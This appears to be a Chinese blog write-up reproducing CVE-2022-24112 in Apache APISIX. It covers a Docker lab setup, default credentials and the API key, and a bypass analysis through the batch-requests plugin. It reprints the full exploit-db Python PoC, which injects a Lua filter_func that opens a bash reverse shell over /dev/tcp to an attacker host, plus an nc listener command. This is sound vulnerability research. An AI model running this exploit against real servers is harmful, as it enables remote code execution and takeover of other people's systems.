Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

本文详细介绍了Apache APISIX Dashboard的CVE-2022-24112命令执行漏洞,包括漏洞详情、环境部署、目标信息、漏洞利用方式和分析。利用该漏洞,攻击者可以通过批量请求插件绕过IP限制执行远程代码,影响版本为Apache APISIX < 2.12.1和< 2.10.4。

0x01 什么是Apache APISIX Dashboard

Apache APISIX 是一个动态、实时、高性能的开源 API 网关,提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX 可以帮助企业快速、安全地处理 API 和微服务流量,包括网关、Kubernetes Ingress 和服务网格等。

图片

0x02 漏洞详情

漏洞编号:CVE-2022-24112

影响版本:Apache APISIX < 2.12.1

Apache APISIX < 2.10.4 (LTS versions)

漏洞类型: 命令执行

0x03 环境部署

本次在ubuntu云服务器上利用docker搭建漏洞复现环境。

git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务

图片

让我们使用此命令来确保 docker 映像已在后台运行。完成此操作后,我们可以使用简单的方法访问AP。

$ curl 
'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -i
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2022 15:49:17 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.12.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
{"count":0,"action":"get","node":{"key":"\/apisix\/routes","nodes":{},"dir":true}}

成功访问网站地址http://IP:9000显示登录界面即为部署成功。

图片

0x04 目标信息

访问网站地址http://IP:9000,默认管理员用户名及密码为admin/admin,登录管理后台。

图片

0x05 漏洞利用

在Apache APISIX Dashboard身份认证绕过漏洞(CVE-2021-45232)中存在两个未授权接口,我们尝试访问其接口来获取可用信息:

r.GET("/apisix/admin/migrate/export", h.ExportConfig)
r.POST("/apisix/admin/migrate/import", h.ImportConfig)

访问过后未发现有效信息输出。

图片

exploit-db公布的POC如下,编号50829.py:

# Exploit Title:Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112
import requests
import sys
class color:
  HEADER = '\033[95m'
  IMPORTANT = '\33[35m'
  NOTICE = '\033[33m'
  OKBLUE = '\033[94m'
  OKGREEN = '\033[92m'
  WARNING = '\033[93m'
  RED = '\033[91m'
  END = '\033[0m'
  UNDERLINE = '\033[4m'
  LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]   
def banner():
  run = color_random[6]+'''\n                                  .    , 
      _.._ * __*\./ ___ _ \./._ | _ *-+-
      (_][_)|_) |/'\     (/,/'\[_)|(_)| | 
        |                    |          
\n'''
  run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''          
  run3 = color_random[4]+'''{ Coded By: Ven3xy | Github:https://github.com/M4xSec/ }\n\n'''
  print(run+run2+run3)    

if (len(sys.argv) != 4):
  banner()
  print("[!] Usage   : ./apisix-exploit.py <target_url><lhost> <lport>")
  exit()
   
else:
  banner()
  target_url = sys.argv[1]  
  lhost = sys.argv[2]
  lport = sys.argv[3]
   
headers1 = {
  'Host': '127.0.0.1:8080',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36Edg/97.0.1072.69',
  'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
  'Accept': '*/*',
  'Accept-Encoding': 'gzip, deflate',
  'Content-Type': 'application/json',
  'Content-Length': '540',
  'Connection': 'close',
}

headers2 = {
  'Host': '127.0.0.1:8080',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36Edg/97.0.1072.69',
  'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
  'Accept': '*/*',
  'Accept-Encoding': 'gzip, deflate',
  'Content-Type': 'application/json',
  'Connection': 'close',
}

json_data = {
  'headers': {
      'X-Real-IP': '127.0.0.1',
      'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
      'Content-Type': 'application/json',
  },
  'timeout': 1500,
  'pipeline': [
      {
          'path': '/apisix/admin/routes/index',
          'method': 'PUT',
          'body':'{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars)os.execute(\'bash -c \\\\\\"0<&160-;exec160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&1602>&160\\\\\\"\'); return true end"}',
      },
  ],
}

response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1,json=json_data, verify=False)
response2 = requests.get(target_url+'rms/fzxewh', headers=headers2,verify=False)

这里使用的是twseptian师傅的POC:

git clone https://github.com/twseptian/cve-2022-24112 ##获取POC
cd cve-2022-24112/poc/ ##进入相应目录
chmod +x poc2.py ##添权限

用法:

python3 poc2.py -t [本地测试IP] -p [服务端口] -L [docker通信IP] -P [nc监听端口]

python3 poc2.py -t 127.0.0.1 -p 9080 -L 172.18.0.1 -P 60022

图片

利用nc建立监听,成功执行命令。

nc -lvnp 60022

图片

0x06 漏洞分析

从官方地址下载源码后分析发现,可以得到默认管理员API令牌为:

key:

edd1c9f034335f136f87ad84b625c8-f1

图片

查看官方修复修复记录,发现官方修复方法是关闭batch-requests插件的默认开启。

https://github.com/apache/apisix/pull/6254/commits/d4f0d6ac065e9282b2deca08073bceb62aa13b4a

图片

查看batch-requests官方文档可知,该插件用于http pipeline 的方式进行多接口请求。

https://github.com/apache/apisix/blob/ec0fc2ceaf04a20b0bd0ebdaad67296a1d3f621c/docs/zh/latest/plugins/batch-requests.md

图片

对比2.9.0版本和2.12.0版本,在新的版本中batch-requests插件默认情况下是关闭状态,从而防止批量进行多个接口请求。

图片

图片

登录Apache APISIX Dashboard查看路由,编辑路由信息,可以查看JSON中被写入了bash。

图片

Bash内容如下:

{
"uri": "/rms/fzxewh",
"name": "wthtzv",
"filter_func": "function(vars) os.execute('bash -c\\\"0<&160-;exec 160<>/dev/tcp/172.18.0.1/60022;/bin/sh<&160 >&160 2>&160\\\"'); return true end",
"upstream": {
"nodes": {
  "schmidt-schaefer.com": 1
},
"type": "roundrobin",
"hash_on": "vars",
"scheme": "http",
"pass_host": "pass"
},
"status": 1
}

观察代码发现,代码中利用了

filter_func函数,该函数是Apache APISIX在管理API时,用户自定义的过滤函数。

可以使用它来实现特殊场景的匹配要求实现。该函数默认接受一个名为 vars 的输入参数,可以用它来获取 Nginx 变量。示例:

function(vars) return vars[“arg_name”] == “json” end

0x07 总结

攻击者可以滥用批量请求插件发送请求以绕过管理 API 的 IP 限制。Apache APISIX的默认配置(使用默认API密钥)容易受到远程代码执行的攻击。当管理密钥已更改或 Admin API 的端口更改为与数据面板不同的端口时,影响会更小。

但是,绕过Apache APISIX数据面板的IP限制仍然存在风险。批处理请求插件中有一个检查,它用其真正的远程IP覆盖客户端IP。但是由于代码中的错误,可以绕过此检查。

0x08 参考链接

  1. https://github.com/apache/apisix-dashboard

  2. https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112

  3. https://www.o2oxy.cn/3945.html

  4. https://zhuanlan.zhihu.com/p/451281323

  5. https://www.exploit-db.com/exploits/50829

  6. https://blog.youkuaiyun.com/weixin_47559704/article/details/122338456

  7. https://www.bookstack.cn/read/apache-apisix-1.4-zh/33860207d6bb4917.md

  8. https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq

  9. https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff

  10. https://blog.youkuaiyun.com/weixin_42353842/article/details/122943253

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值